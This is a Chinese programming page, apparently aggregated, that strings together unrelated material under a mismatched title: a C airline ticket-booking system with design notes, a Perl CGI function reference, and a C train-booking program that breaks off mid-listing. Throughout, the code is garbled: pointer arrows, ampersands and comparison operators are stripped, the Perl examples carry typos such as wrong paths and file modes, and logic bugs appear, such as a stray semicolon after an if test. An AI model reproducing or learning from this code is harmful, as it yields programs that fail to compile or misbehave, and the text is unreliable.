c語言who命令,c語言是命令式語言

本文目錄一覽:

C語言編寫一個簡單的航空管理系統

需要分析:

A.車尋航線:

1.根據旅客提出的起點站,終點站名輸出下列信息:航班號,票價,折扣,最多載客量,是否滿載,起飛時間,降落時間和飛行時間;

2.根據訂票乘客的姓名可以查詢所訂航班的航班號,座位號,飛行日期等信息;

3.根據航班號查詢航班的起點站,中轉站,終點站名,票價,折扣,最多載客量,是否滿載,起飛時間,降落時間和飛行時間;

B.承辦客戶提出的要求(航班號、訂票數額)查詢該航班票額情況,若有餘票,則為客戶辦理訂票手續,輸出座位號,需付款項信息;若已滿員或余票額少於盯票額,則需重新詢問客戶要求。若需要,可登記排隊候補;

C.根據客戶提供的情況(日期、航班),為客戶辦理退票手續。(然後查詢該航班是否有人排隊候補,首先詢問排第一的客戶,若所退票額所能滿足他的要求,則為他辦理訂票手續,否則依次詢問其他排隊候補客戶);

E.內部人員對航班情況的控制:

可以錄入航班信息,刪除航班信息,修改航班信息,查看基本航班信息。

概要設計:

因為每個客戶名單或查詢名單都包括多個數據域,這樣就需要有一個能存儲多個數據域的數據類型來存儲,因此採用單鏈表類型。由於航線的信息是固定的,可選用結構體數組,又因為訂票與預約人數無法預計,可選用鏈表存儲信息。

線性表的單鏈表存儲結構:typedef struct LNode{

ElemType;

Struct Lnode*next;}LNode,*LinkList;

a.抽象數據類型順序表的定義如下:

ADT SqList{

數據對象:D={ai|ai∈數據類型,i=1,2,3…,n}

數據關係:R1={ai-1,ai|ai-1,ai∈D,i=1,2,3…,n}

基本操作:

InitList_Sq(L)

操作結果:創建空的順序表。

CreatList_Sq(L)

操作結果:建立順序表。

}ADT SqList

b.抽象數據類型單鏈表的定義如下:

ADT LinkList{

數據對象:D={ai|ai∈結構類型,i=1,2,3…,n,n0}

數據關係:R1={ai-1,ai|ai-1,ai∈D,i=1,2,3…,n}

基本操作:

InitList_L(L)

操作結果:創建空的順序表。

}ADT LinkList

在main()里調用各個函數

2.主程序

void main(){

初始化;

do{

接受命令;

處理命令;

}while(「命令」!=「退出」);

}

3.程序的模塊調用:

三.詳細設計:

1.所有數據類型:

struct plan /*航班數據*/

{

char num[5];/*航班號碼*/

char city[10];/*到達城市*/

char up[8];/*航班起飛時間*/

char down[8];/*航班到達時間*/

int pric ;/*航班價格*/

int rshu ;/*人數*/

int zheg[4];/*價格折扣*/

}

;

struct man/*定票人數據*/

{

char num[10];/*身份證號碼*/

char nam[10];/*姓名*/

int demand ;/*定票數量*/

}

;

typedef struct node/*航班數據結點*/

{

struct plan data ;

struct node*next ;

}

Node,*Link ;

typedef struct people/*乘客數據結點*/

{

struct man data ;

struct people*next ;

}

peo,*LIN ;

2.程序所用函數:

void print()/*界面輸出*/

{

printf(“============================System of book ticket===============================\n”);

printf(“\n”);

printf(“\t***********************************************************\n”);

printf(“\t*\t1—Bookticket \t2—Dishonorbill *\n”);

printf(“\t*\t3—Adding flight\t4—Adding flight *\n”);

printf(“\t*\t5—Modify \t6—Advice *\n”);

printf(“\t*\t7—Save \t8—exit *\n”);

printf(“\t##########################################################\n”);

}

添加航班模塊

void add(Link l)/*添加航班數據*/

{

Node*p,*r,*s ;

char num[10];

r=l ;

s=l-next ;

while(r-next!=NULL)

r=r-next ;

while(1)

{

printf(“please input the number of the plan(0-return)”);/*輸入0就返回*/

scanf(“%s”,num);

if(strcmp(num,”0″)==0)

break ;

while(s)

{

if(strcmp(s-data.num,num)==0)

{

printf(“=====tip:the number’%s’has been born!\n”,num);

return ;

}

s=s-next ;

}

p=(Node*)malloc(sizeof(Node));/*航班數據輸入*/

strcpy(p-data.num,num);

printf(“Input the city where the plan will reach:”);/*飛機到達地城市*/

scanf(“%s”,p-data.city);

getchar();

printf(“Input the time which the plan take off:”);/*起飛時間*/

scanf(“%s”,p-data.up);

getchar();

printf(“Input the time which the plan reach:”);/*降落時間*/

scanf(“%s”,p-data.down);

getchar();

printf(“Input the price of ticket:$”);/*機票價格*/

scanf(“%d”,p-data.pric);

getchar();

printf(“Input the number of people who have booked ticket:”);/*定票數量*/

scanf(“%d”,p-data.rshu);

getchar();

printf(“Input the agio of the ticket:”);

scanf(“%s”,p-data.zheg);

getchar();

p-next=NULL ;

r-next=p ;

r=p ;

shoudsave=1 ;

}

}

輸出模塊

void pri(Node*p)/*輸出函數*/

{

printf(“\n\t\t\tThe following is the record you want:\n”);

printf(“\nnumber of plan: %s”,p-data.num);

printf(“\ncity the plan will reach: %s”,p-data.city);

printf(“\nthe time the plan take off: %s\nthe time the plan reach: %s”,p-data.up,p-data.down);

printf(“\nthe price of the ticket: %d”,p-data.pric);

printf(“\nthe number of people who have booked ticket: %d”,p-data.rshu);

printf(“\nthe agio of the ticket:%s”,p-data.zheg);

}

退出函數模塊

Node*Locate1(Link l,char findmess[],char numorcity[])

{

Node*r ;

if(strcmp(numorcity,”num”)==0)

{

r=l-next ;

while(r)

{

if(strcmp(r-data.num,findmess)==0)

return r ;

r=r-next ;

}

}

else if(strcmp(numorcity,”city”)==0)

{

r=l-next ;

while(r)

{

if(strcmp(r-data.city,findmess)==0)

return r ;

r=r-next ;

}

}

return 0 ;

}

航班信息模塊

void qur(Link l)/*航班信息查詢*/

{

Node*p ;

int sel ;

char str1[5],str2[10];

if(!l-next)

{

printf(“TIP:there are not any record to be inquired for you!”);

return ;

}

printf(“Choose the way:(1-according to the number of plan;2-according to the city):”);/*選擇航班號查詢和終點城市查詢*/

scanf(“%d”,sel);

if(sel==1)

{

printf(“Input the the number of plan:”);

scanf(“%s”,str1);

p=Locate1(l,str1,”num”);

if(p)

{

printf(“the following is what you want:\n”);

pri(p);

}

else

{

mark1=1 ;

printf(“\nthe file can’t be found!”);

}

}

else if(sel==2)

{

printf(“Input the city:”);

scanf(“%s”,str2);

p=Locate1(l,str2,”city”);

if(p)

{

printf(“the following is what you want:\n”);

pri(p);

}

else

{

mark1=1 ;

printf(“\nthe file can’t be found!”);

}

}

}

定票模塊

void buy(Link l,LIN k)/*定票函數*/

{

Node*r[10],*p ;

int ch,dem ;

peo*v,*h ;

int i=0,t=0 ;

char str[10],str1[10],str2[10];

v=k ;

while(v-next!=NULL)

v=v-next ;

printf(“Input the city you want to go: “);/*航班終點站城市*/

scanf(“%s”,str);

p=l-next ;

while(p!=NULL)

{

if(strcmp(p-data.city,str)==0)

{

r[i]=p ;

i++;

}

p=p-next ;

}

printf(“\n\nthe number of record have %d\n”,i);

for(t=0;ti;t++)

pri(r[t]);

if(i==0)

printf(“\n\tSorry!Can’t find the plan for you!\n”);

else

{

printf(“\ndo you want to book it?1/0\n”);

printf(“please choose: “);

scanf(“%d”,ch);

if(ch==1)

{

h=(peo*)malloc(sizeof(peo));/*重新分配空間*/

printf(“Input your name: “);

scanf(“%s”,str1);

strcpy(h-data.nam,str1);

printf(“Input your id: “);

scanf(“%s”,str2);

strcpy(h-data.num,str2);

printf(“Input your demand: “);

scanf(“%d”,dem);

h-data.demand=dem ;

h-next=NULL ;

v-next=h ;

v=h ;

printf(“\n\tLucky!Success in booking ticket!”);

getch();

shoudsave=1 ;

}

}

}

peo*Locate2(LIN k,char findmess[])

{

peo*r ;

r=k-next ;

while(r)

{

if(strcmp(r-data.num,findmess)==0)

{

mark=1 ;

return r ;

}

r=r-next ;

}

return 0 ;

}

退票模塊

void tui(LIN k)/*退票函數*/

{

char str[10];

peo*p,*r ;

int ch2=0 ;

printf(“Input your id: “);/*輸入身份證號*/

scanf(“%s”,str);

p=Locate2(k,str);

if(mark!=1)

printf(“can’t find the people!”);

else if(mark==1)

{

mark=0 ;

printf(“\t\t\tthe following is the record you want:\n”);

printf(“your id:%s\n”,p-data.num);

printf(“name:%s\n”,p-data.nam);

printf(“your denmand:%d”,p-data.demand);

printf(“\ndo you want to refund the ticket?1/0”);

scanf(“%d”,ch2);

if(ch2==1)

{

if(p)

{

r=k ;

while(r-next!=p)

r=r-next ;

r-next=p-next ;

free(p);

}

count2–;

printf(“\nyou have sucessed in refunding ticket!”);

shoudsave=1 ;

}

}

}

void Modify(Link l)/*修改航班信息*/

{

Node*p ;

char findmess[20],ch ;

if(!l-next)

{

printf(“\n=====tip:there isn’t record for you to modify!\n”);

return ;

}

else

{

qur(l);

if(mark1==0)

{

printf(“\nDo you want to modify it?\n”);

getchar();

scanf(“%c”,ch);

if(ch==’y’);

{

printf(“\nInput the number of the plan:”);

scanf(“%s”,findmess);

p=Locate1(l,findmess,”num”);

if(p)

{

printf(“Input another number of plan:”);

scanf(“%s”,p-data.num);

getchar();

printf(“Input another city the plan will reach:”);

scanf(“%s”,p-data.city);

getchar();

printf(“Input another time the plan take off”);

scanf(“%s”,p-data.up);

printf(“Input another time the plan reach:”);

scanf(“%s”,p-data.down);

printf(“Input another price of the ticket::”);

scanf(“%d”,p-data.pric);

printf(“Input another number of people who have booked ticket:”);

scanf(“%d”,p-data.rshu);

printf(“Input another agio of the ticket:”);

scanf(“%s”,p-data.zheg);

printf(“\n=====tip:modifying record is sucessful!\n”);

shoudsave=1 ;

}

else

printf(“\tcan’t find the flight!”);

}

}

else

mark1=0 ;

}

}

void advice(Link l)/*終點站航班查詢*/

{

Node*r ;

char str[10];

int mar=0 ;

r=l-next ;

printf(“Iuput the city you want to go: “);/*輸入終點站城市*/

scanf(“%s”,str);

while(r)

{

if(strcmp(r-data.city,str)==0r-data.rshu200)

{

mar=1 ;

printf(“\nyou can select the following plan!\n”);

printf(“\n\nplease select the fourth operation to book the ticket!\n”);

pri(r);

}

r=r-next ;

}

if(mar==0)

printf(“\n\t\t\tyou can’t book any ticket now!\n”);

}

void save1(Link l)/*保存數據*/

{

FILE*fp ;

Node*p ;

int count=0,flag=1 ;

fp=fopen(“g:\\data1″,”wb”);

if(fp==NULL)

{

printf(“the file can’t be opened!”);

return ;

}

p=l-next ;

while(p)

{

if(fwrite(p,sizeof(Node),1,fp)==1)

{

p=p-next ;

count++;

}

else

{

flag=0 ;

break ;

}

}

if(flag)

{

printf(“the number of the record which have been saved is %d\n”,count);

shoudsave=0 ;

}

fclose(fp);

}

void save2(LIN k) /*保存數據*/

{

FILE*fp ;

peo*p ;

int count=0,flag=1 ;

fp=fopen(“g:\\data2″,”wb”);/*文件連接*/

if(fp==NULL)

{

printf(“the file can’t be opened!”);

return ;

}

p=k-next ;

while(p)

{

if(fwrite(p,sizeof(peo),1,fp)==1)

{

p=p-next ;

count++;

}

else

{

flag=0 ;

break ;

}

}

if(flag)

{

printf(“the number of the record which have been saved is %d\n”,count);

shoudsave=0 ;

}

fclose(fp);

}

四.主函數模塊:

main()

{

FILE*fp1,*fp2 ;

Node*p,*r ;

char ch1,ch2 ;

Link l ;

LIN k ;

peo*t,*h ;

int sel ;

l=(Node*)malloc(sizeof(Node));

l-next=NULL ;

r=l ;

k=(peo*)malloc(sizeof(peo));

k-next=NULL ;

h=k ;

fp1=fopen(“g:\\data1″,”ab+”);

if((fp1==NULL))

{

printf(“can’t open the file!”);

return 0 ;

}

while(!feof(fp1))

{

p=(Node*)malloc(sizeof(Node));

if(fread(p,sizeof(Node),1,fp1)==1)

{

p-next=NULL ;

r-next=p ;

r=p ;

count1++;

}

}

fclose(fp1);

fp2=fopen(“g:\\data2″,”ab+”);

if((fp2==NULL))

{

printf(“can’t open the file!”);

return 0 ;

}

while(!feof(fp2))

{

t=(peo*)malloc(sizeof(peo));

if(fread(t,sizeof(peo),1,fp2)==1)

{

t-next=NULL ;

h-next=t ;

h=t ;

count2++;

}

}

fclose(fp2);

while(1)

{

getch();

clrscr();

print();

printf(“please choose the operation(1-8): “);

scanf(“%d”,sel);

if(sel==8)

{

if(shoudsave==1)

{

getchar();

printf(“\n=====tip:the file have been changed!do you want to save it(y/n)?\n”);

scanf(“%c”,ch1);

if(ch1==’y’||ch1==’Y’)

{

save2(k);

save1(l);

}

}

printf(“\n\tyou have exited! Happy serve for you”);

break ;

}

switch(sel)

{

case 1 :

buy(l,k);

break ;

case 2 :

tui(k);

break ;

case 3 :

qur(l);

break ;

case 4 :

add(l);

break ;

case 5 :

Modify(l);

break ;

case 6 :

advice(l);

break ;

case 7 :

{

save1(l);

save2(k);

break ;

}

case 8 :

exit(0);

}

}

getch();

}

程序設計中的指令是什麼?有哪幾種?

Perl在CGI程序設計中常用的函數 指令:#

說明:註解符號Remark宣告

範例:#本程序是一個示範註解說明 指令:print

語法一:print Filehandle LIST

說明:這個Filehandle可把它看作在I(Input)/O(Output)間的一個橋樑,可以利用Filehandle來做出數據讀入寫出的動作。stdin是代表從哪邊輸入數據,例如從電腦的鍵盤輸入,stdout是代表從哪邊輸出數據;例如從電腦的屏幕輸出;stderr是代表從哪邊輸出錯誤的數據,例如從電腦的屏幕輸出。而在Perl語言中有三個標準的Filehandle:

(一)STDIN(標準輸入):是代表stdin的Filehandle

(二)STDOUT(標準輸出):是代表stdout的Filehandle

(三)STDERR(標準錯誤輸出):是代表stderr的Filehandle

如果要使用其他Filehandle的時候,就要用open這個函數來打開一個Filehandle,我們可以用print這個函數把LIST的數據輸出給Filehandle。在為大家介紹print這個函數之前,先讓我們來看看print函數中特殊列印符號字元:

符號 內定含意

n 換行New Line

r 游標換行Return

t Tab鍵

f 換頁Form feed

b 退回一鍵Backspace

v 垂直Tab鍵

a 響鈴Bell

07 十進位ASCII碼

xff 十六進位碼

c[ 控制字元

範例:

print STDOUT”i love perln”;

將「i love perl”再加上換行顯示於屏幕上。

——————————————————————————–

語法二:Print LIST

說明:如果省略Filehandle的話,就會把Filehandle內定為STDOUT。也就是會將LIST的數據內容顯示於屏幕上。

範例:

$Str1ng=”perl”;

print”i love $stringn”;

會將「i love perl」再加上換行顯示在屏幕上,而如果要讓雙引號內的變數失效的話,可以在變數前面加上這個符號。例如如果是print「i love $string」;的話,就會顯示出「i love $string」這個字元串。

——————————————————————————–

語法三:print

說明:同時省略Filehandle和LIST的話,就會以STDOUT為Filehandle,並會輸出$_這個內定輸出變數的數據內容。如果$_變數是一個空字元串的話,就會顯示出一個空字元串。

範例:

$_=”i love perln”;

print;

就會將”i love perl”再加上換行顯示在屏幕上

——————————————————————————–

指令:printf

語法一:printf Filehandle LIST

說明:在perl語言中也提供C語言中printf的語法,用法和C語言中的用法一模一樣。如果把Filehandle省略的話,也一樣會把STD0UT當成是內定的Filehandle。在為大家介紹printf函數之前,先讓我們來看看printf函數中變換符號的字元:

符號 內定含意

%c 字元

%s 字元串

%d 整數

%f 浮整數

%h 十六進位碼

%o 八進位碼

範例:

printf〈”chmod%d%s\n”,”7l1″,”cgi”);

會將「chmod 7ll cgi」再加上換行顯示於屏幕上。

——————————————————————————–

指令:chop

語法:chop($string)

說明:把最後一個字元刪除掉,常常用這個函數把換行的字元(n)刪除掉。

範例:

$string=”hello!n”;

chop($string); #此時$string=”hello!”;

而這兩行也可以寫成chop($string=”hello!\n”);

——————————————————————————–

指令:split

語法:split(/pattern/,$string,limit)

其中/pattern是文字處理的模式,在下一小節中會有詳細的語法介紹。而limit是代表要分割的個數,可以省略。

說明:用一個指定的文字處理模式來分割$string字元串。

範例:

$string=”i;am;cute”;

@list=split(/:/,$string); #此時@list=〈”i”,”am”,”cute”);

($a,$b,$c)=split(/:/,$string); #此時$a=”i”,$b=”am”,$c=”cute”;

@list=split(/:/,$string,2); #此時@list=(“i”,”love”);

在傳送CGI應用程序數據的時候會先將數據編碼,其中會將FORM中每個數據欄位的數據內容用這個符號隔開,所以在解碼的時候就要以這個符號為分割的字元,將每個數據欄位分割出。例如:

$string=”who=Aemail=B”;

@list=split(//,$string), #此時@list=〈”who=A”,”email=B”);

而數據欄位的名稱和這個數據欄位的值是用=這個符號來隔開,如果想取得數據欄位的名稱和所對應的值的話,就用要=這個符號來分割數據欄位,例如:

$list=”who=A”;

(0$name,$value)=sp1it(/=/,$list); #此時$name=”who”;$value=”A”; ——————————————————————————–

指令:keys

語法:keys(%ARRAY)

說明:取出關聯數組%ARRAY中全部的key。

範例:

%NAMES=(1,”one”,2,”two”);

@list=keys(%NAMES), #此時@list=(l,2); ——————————————————————————–

指令:values

語法:values(%ARRAY)

說明:取出關聯數組%ARRAY中全部的value。

範例:

%NAMES=(1,”one”,2,”two”);

@list=values(%NAMES); #此時@list=(“one”,”two”); ——————————————————————————–

指令:reverse

語法:reverse(@array)

說明:將數組@array中的元素由後到前重新排列。

範例:

@list=(“A”,”B”,”C”,”D”);

@1ist=reverse(@list); #此時@list=(“D”,”C”,”B”,”A”) ——————————————————————————–

指令:sort

語法:sort(@array)

說明:將數組@array中的元素由小到大排序,如果要由大到小排序的話,就要再加上reverse這個函數。

範例:

@array=(“b”,”c”,”a”);

@array=sort(@array); #此時@array=(“a”,b”,”c”);

@array=(reverse sort@array); #此時@array=(“c”,”b”,”a”);

這個語法也可以寫成@array=(reverse sort(@array));

@number=(l0,3.20);

@number=sort(@number); #此時@number=(l0,20,3);

由上個範例可以知道如果要sort函數來排 序數值的時候,就會出差錯,因此要用下面這個方法才能正確地使用sort函數來排序。

@number=(sort{$a=$b}@number); #此時@number=(3,10,20); ——————————————————————————–

指令:length

語法:length($string)

說明:求出一字元串$string的bytes值。

範例:

$string=”Perl”;

@size=length($string); #此時$size=4; ——————————————————————————–

指令:substr

語法:substr($string,offset,length)

其中offset代表起始字元的位置,length代表引用的字元串長度,如省略length的話代表從起始值到字元串的最後一個字元長度。而offset如果是負值的話,就會從字元串右邊開始取出指定的字元串。

說明:在一字元串$string中取出想要的字元串。

範例:

$x=substr(“testing”,2,2); #此時$x=”st”;

$x=substr(“testing”,2); #此時$x=”sting”;

$x=substr(“testing”,-2,2); #此時$x=”in”; ——————————————————————————–

指令:index

語法:index($string,$substring,position)

其中$substring是指要尋找的字元,position代表要從哪一個位置開始找起,如省略position的話就從頭開始找起。

說明:返回所要找尋的字元在一字元串$string中的位置,如果在字元串中找不到字元的話,則會返回-l這個值。

範例:

$x=index(“testing”,”t”); #此時$x=0;

$x=index(“testing”,”t”,2); #此時$x=3;

$x=index(“testing”,”perl”); #此時$x=-l; ——————————————————————————–

指令:push

語法:push(@array,$string)

說明:在數組@array的最後一個元素後附加新的元素string到數組@array中。

範例:

@array=(“one”,”two”);

push(@array,”three”); #此時@array=〈”one”,”two”,”three”); ——————————————————————————–

指令:pop

語法:pop(@array)

說明:將數組@array的最後一個元素刪除,並將刪除的元素返回。

範例:

@array=〈”one”‘”two”);

$rm=pop〈@array); #此時@array=(“one”);而$rm=”two”; ——————————————————————————–

指令:unshift

語法:unshift(@array,$string)

說明:在數組@array的第一個元素前附加新的元素$string到數組@array中。

範例:

@array=(“one”,”two”);

unshift(@array'”three”); #此時@array=(“three”,”one”,”two”); ——————————————————————————–

指令:shift

語法:shift(@array)

說明:將數組@array的第一個元素刪除,並將刪除的元素返回。

範例:

@array=(“one”,”two”);

$rm=shift(@array); #此時@array=(“two”),而$rm=”one”; ——————————————————————————–

指令:join

語法:join($string,@array)

說明:在一數組@array的元素之間加上一指定的字元$string,並將結果返回。

範例:

@array=(“one”,”two”,”three”);

$total=join(“:”,@array); #此時$total=”one:two:three”; ——————————————————————————–

指令:grep

語法:grep(/pattern/,@array)

說明:將符合文字處理模式(regular expression)的數組元素找出來。

範例:

@array=(“one”,”on”,”in”);

$count=grep(/on/,@array); #此時$count=2;(代表有二個元素符合)

@result=grep(/on/,@array); #此時@result=(“one”,”on”); ——————————————————————————–

指令:hex

語法:hex($string)

說明:將十六進位的數值轉成十進位。

範例:

$decimal=hex(“ff”); #此時$decimal=255; ——————————————————————————–

指令:rand

語法:rand($interger)

說明:常和函數srand搭配來取得一隨機數,如果沒有事先宣告stand函數的話,則取出的數值是一個固定值。這個語法會返回一個介於0和$interger之間的數值,如果$interger省略的話,則會返回一個介於0和1的數值。

範例:

srand; #要先宣告srand函數,才能產生隨機數的效果

$int=rand(10); #$int的值會大於0而且小於10

如果希望產生的亂數是整數的話,就要再 加上int這個函數

$int=int(rand(10)); #$int的值是一個整數,且值在0和9之間 ——————————————————————————–

指令:localtime

語法:localtime(time)

說明:可返回九個有關時間的元素,在寫CGI應用程序的時候常會用到系統的時間,所以在此會詳細介紹這個函數的用法。

範例:

($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst)=localtime(time);

其中:

$sec 代表秒數[0,59] $min 代表分數[0,59]

$hour 代表小時數[0,23] $mday 代表是在這個月的第幾天[1,31]

$mon 代表月數[0,11],要將$mon加l之後,才能 符合實際情況

$year 從l990年算起的年數

$wday 從星期六算起,代表是在這周中的第幾天 [0,6]

$yday 從一月一日算起,代表是在這年中的第幾 天[0,365]

$isdst 只是一個flag

知道這些變數之後,就可以在CGI應用程序中拿來應用了。此外,也可以用下面這一行指令在Unix系統下取得系統的時間。為了避免錯誤發生,最好用絕對路徑的方法來取得系統時間,如果絕對路徑不清楚的話可以用「which date」,這個指令來得知。最後要提醒讀者的是要用`這個符號才能執行Unix系統的外部程序,如果是用『(單引號)這個字元號的話,就不能正確執行系統的程序了。 $date=`/usr/bin/date`;

而在perl5版本中,也可以用下面這一行指令來取得系統時間。

$date=localtime(time);

——————————————————————————–

指令:die

語法:die LIST

說明:會把LIST字元串顯示出來,並退出程序。常常和$!這個代表錯誤信息的變數一起使用。

範例:

Open(FILE'”$filename”)||die”Cannotopenfile$!n”;

如果打開文件失敗的話,就會顯示出錯誤的信息,之後再退出程序。

——————————————————————————–

指令:open

語法:open(Filehandle'”$fiiename”)

其中$filename是一個指定打開的文件名。

說明:這是一個很常用的函數,可用於文件的打開(Read0niy)。在CGI程序設計中常常會打開一個文件來讀取數據,所以筆者會詳加說明這一個函數的相關用法。這個Filehandle可把它看作在I(Inpnt)/O(Output)間的一個橋樑,可以利用Filehandle來作出數據讀入寫出的動作。開始可用open這個函數來打開一個指定的文件,接下來可以使用Filehandle來讀取所打開文件的數據內容,最後一定要用close這個函數來關閉這個之前打開的Filehandle。要注意的是在CGI程序寫作中,當用open這個函數來打開文件的時候,一定要在打開的文件前加上文件所在的絕對路徑名稱。

範例:

$filename=Vpath/cgi.txt”;

open(FILE'”$filename”)||die”Can not open $filename\n”;

#將數據指派給純量變數$line(一行一行地)

while($line=FILE){

  print”$line”;

}

close(FILE);

就會把cgi.txt這個文件的內容顯示出來。

——————————————————————————–

語法二:open(Filehandle,”$filename”)

說明:這個語法也可以打開一個存在的文件(Read Only)。

範例:

$filename=”/path/cgi.txt”;

open(FILE,”$filename”)||die”Can not open $filenamen”;

#將FILE全部的數據內容都指派給數組@array

@array=FILE;

close(FILE);

print”@array”;

也會把cgi.txt這個文件的內容顯示出來。

——————————————————————————–

語法三:open(Filehandle,”$filemme)

說明:建立一個新的文件(Write Only),如果已經存在這個文件了,就會把舊文件名覆蓋過去。並可用print Filehandle的方式將數據寫到所打開的文件中。

範例:

$filename=”/path/cgi.txt”;

open(FILE,”$filename”)||die”Can not open $filenamen”;

print FILE”this is a new line1n”;#n是換行字元

print FILE”this is a new line2n”;

close(FILE);

會把數據存在一個新文件中。

——————————————————————————–

語法四:Open(Filehandle,”$filename”)

說明:數據用附加的方式寫入一文件(Write Only),如果指定的文件名不存在的話,就會建立一個新的文件。

範例:

$filename=”/path/cgi.txt”;

open(FILE,”$filename”)||die”Can not open $filenamen”;

print FILE”this is a newline1n”;

print FILE”this is a newline2n”;

close(FILE);

會把數據附加(append)到一個文件(cgi.txt)中。

用C語言寫火車訂票系統

#include conio.h

#include stdio.h

#include stdlib.h

#include string.h

int shoudsave=0 ;

int count1=0,count2=0,mark=0,mark1=0 ;

/*定義存儲火車信息的結構體*/

struct train

{

char num[10];/*列車號*/

char city[10];/*目的城市*/

char takeoffTime[10];/*發車時間*/

char receiveTime[10];/*到達時間*/

int price;/*票價*/

int bookNum ;/*票數*/

};

/*訂票人的信息*/

struct man

{

char num[10];/*ID*/

char name[10];/*姓名*/

int bookNum ;/*需求的票數*/

};

/*定義火車信息鏈表的結點結構*/

typedef struct node

{

struct train data ;

struct node * next ;

}Node,*Link ;

/*定義訂票人鏈表的結點結構*/

typedef struct people

{

struct man data ;

struct people*next ;

}bookMan,*bookManLink ;

/* 初始界面*/

void printInterface()

{

puts(“********************************************************”);

puts(“* Welcome to use the system of booking tickets *”);

puts(“********************************************************”);

puts(“* You can choose the operation: *”);

puts(“* 1:Insert a train information *”);

puts(“* 2:Inquire a train information *”);

puts(“* 3:Book a train ticket *”);

puts(“* 4:Update the train information *”);

puts(“* 5:Advice to you about the train *”);

puts(“* 6:save information to file *”);

puts(“* 7:quit the system *”);

puts(“********************************************************”);

}

/*添加一個火車信息*/

void InsertTraininfo(Link linkhead)

{

struct node *p,*r,*s ;

char num[10];

r = linkhead ;

s = linkhead-next ;

while(r-next!=NULL)

r=r-next ;

while(1)

{

printf(“please input the number of the train(0-return)”);

scanf(“%s”,num);

if(strcmp(num,”0″)==0)

break ;

/*判斷是否已經存在*/

while(s)

{

if(strcmp(s-data.num,num)==0)

{

printf(“the train ‘%s’has been born!\n”,num);

return ;

}

s = s-next ;

}

p = (struct node*)malloc(sizeof(struct node));

strcpy(p-data.num,num);

printf(“Input the city where the train will reach:”);

scanf(“%s”,p-data.city);

printf(“Input the time which the train take off:”);

scanf(“%s”,p-data.takeoffTime);

printf(“Input the time which the train receive:”);

scanf(“%s”,p-data.receiveTime);

printf(“Input the price of ticket:”);

scanf(“%d”,p-data.price);

printf(“Input the number of booked tickets:”);

scanf(“%d”,p-data.bookNum);

p-next=NULL ;

r-next=p ;

r=p ;

shoudsave = 1 ;

}

}

/*列印火車票信息*/

void printTrainInfo(struct node*p)

{

puts(“\nThe following is the record you want:”);

printf(“number of train: %s\n”,p-data.num);

printf(“city the train will reach: %s\n”,p-data.city);

printf(“the time the train take off: %s\nthe time the train reach: %s\n”,p-data.takeoffTime,p-data.receiveTime);

printf(“the price of the ticket: %d\n”,p-data.price);

printf(“the number of booked tickets: %d\n”,p-data.bookNum);

}

struct node * Locate1(Link l,char findmess[],char numorcity[])

{

Node*r ;

if(strcmp(numorcity,”num”)==0)

{

r=l-next ;

while(r)

{

if(strcmp(r-data.num,findmess)==0)

return r ;

r=r-next ;

}

}

else if(strcmp(numorcity,”city”)==0)

{

r=l-next ;

while(r)

{

if(strcmp(r-data.city,findmess)==0)

return r ;

r=r-next ;

}

}

return 0 ;

}

/*查詢火車信息*/

void QueryTrain(Link l)

{

Node *p ;

int sel ;

char str1[5],str2[10];

if(!l-next)

{

printf(“There is not any record !”);

return ;

}

printf(“Choose the way:\n1:according to the number of train;\n2:according to the city:\n”);

scanf(“%d”,sel);

if(sel==1)

{

printf(“Input the the number of train:”);

scanf(“%s”,str1);

p=Locate1(l,str1,”num”);

if(p)

{

printTrainInfo(p);

}

else

{

mark1=1 ;

printf(“\nthe file can’t be found!”);

}

}

else if(sel==2)

{

printf(“Input the city:”);

scanf(“%s”,str2);

p=Locate1(l,str2,”city”);

if(p)

{

printTrainInfo(p);

}

else

{

mark1=1 ;

printf(“\nthe file can’t be found!”);

}

}

}

/*訂票子模塊*/

void BookTicket(Link l,bookManLink k)

{

Node*r[10],*p ;

char ch,dem ;

bookMan*v,*h ;

int i=0,t=0 ;

char str[10],str1[10],str2[10];

v=k ;

while(v-next!=NULL)

v=v-next ;

printf(“Input the city you want to go: “);

scanf(“%s”,str);

p=l-next ;

while(p!=NULL)

{

if(strcmp(p-data.city,str)==0)

{

r[i]=p ;

i++;

}

p=p-next ;

}

printf(“\n\nthe number of record have %d\n”,i);

for(t=0;ti;t++)

printTrainInfo(r[t]);

if(i==0)

printf(“\n\t\t\tSorry!Can’t find the train for you!\n”);

else

{

printf(“\ndo you want to book it?1/0\n”);

scanf(“%d”,ch);

if(ch == 1)

{

h=(bookMan*)malloc(sizeof(bookMan));

printf(“Input your name: “);

scanf(“%s”,str1);

strcpy(h-data.name,str1);

printf(“Input your id: “);

scanf(“%s”,str2);

strcpy(h-data.num,str2);

printf(“Input your bookNum: “);

scanf(“%d”,dem);

h-data.bookNum=dem ;

h-next=NULL ;

v-next=h ;

v=h ;

printf(“\nLucky!you have booked a ticket!”);

getch();

shoudsave=1 ;

}

}

}

bookMan*Locate2(bookManLink k,char findmess[])

{

bookMan*r ;

r=k-next ;

while(r)

{

if(strcmp(r-data.num,findmess)==0)

{

mark=1 ;

return r ;

}

r=r-next ;

}

return 0 ;

}

/*修改火車信息*/

void UpdateInfo(Link l)

{

Node*p ;

char findmess[20],ch ;

if(!l-next)

{

printf(“\nthere isn’t record for you to modify!\n”);

return ;

}

else

{

QueryTrain(l);

if(mark1==0)

{

printf(“\nDo you want to modify it?\n”);

getchar();

scanf(“%c”,ch);

if(ch==’y’);

{

printf(“\nInput the number of the train:”);

scanf(“%s”,findmess);

p=Locate1(l,findmess,”num”);

if(p)

{

printf(“Input new number of train:”);

scanf(“%s”,p-data.num);

printf(“Input new city the train will reach:”);

scanf(“%s”,p-data.city);

printf(“Input new time the train take off”);

scanf(“%s”,p-data.takeoffTime);

printf(“Input new time the train reach:”);

scanf(“%s”,p-data.receiveTime);

printf(“Input new price of the ticket::”);

scanf(“%d”,p-data.price);

printf(“Input new number of people who have booked ticket:”);

scanf(“%d”,p-data.bookNum);

printf(“\nmodifying record is sucessful!\n”);

shoudsave=1 ;

}

else

printf(“\t\t\tcan’t find the record!”);

}

}

else

mark1=0 ;

}

}

/*系統給用戶的提示信息*/

void AdvicedTrains(Link l)

{

Node*r ;

char str[10];

int mar=0 ;

r=l-next ;

printf(“Iuput the city you want to go: “);

scanf(“%s”,str);

while(r)

{

if(strcmp(r-data.city,str)==0r-data.bookNum200)

{

mar=1 ;

printf(“\nyou can select the following train!\n”);

printf(“\n\nplease select the fourth operation to book the ticket!\n”);

printTrainInfo(r);

}

r=r-next ;

}

if(mar==0)

printf(“\n\t\t\tyou can’t book any ticket now!\n”);

}

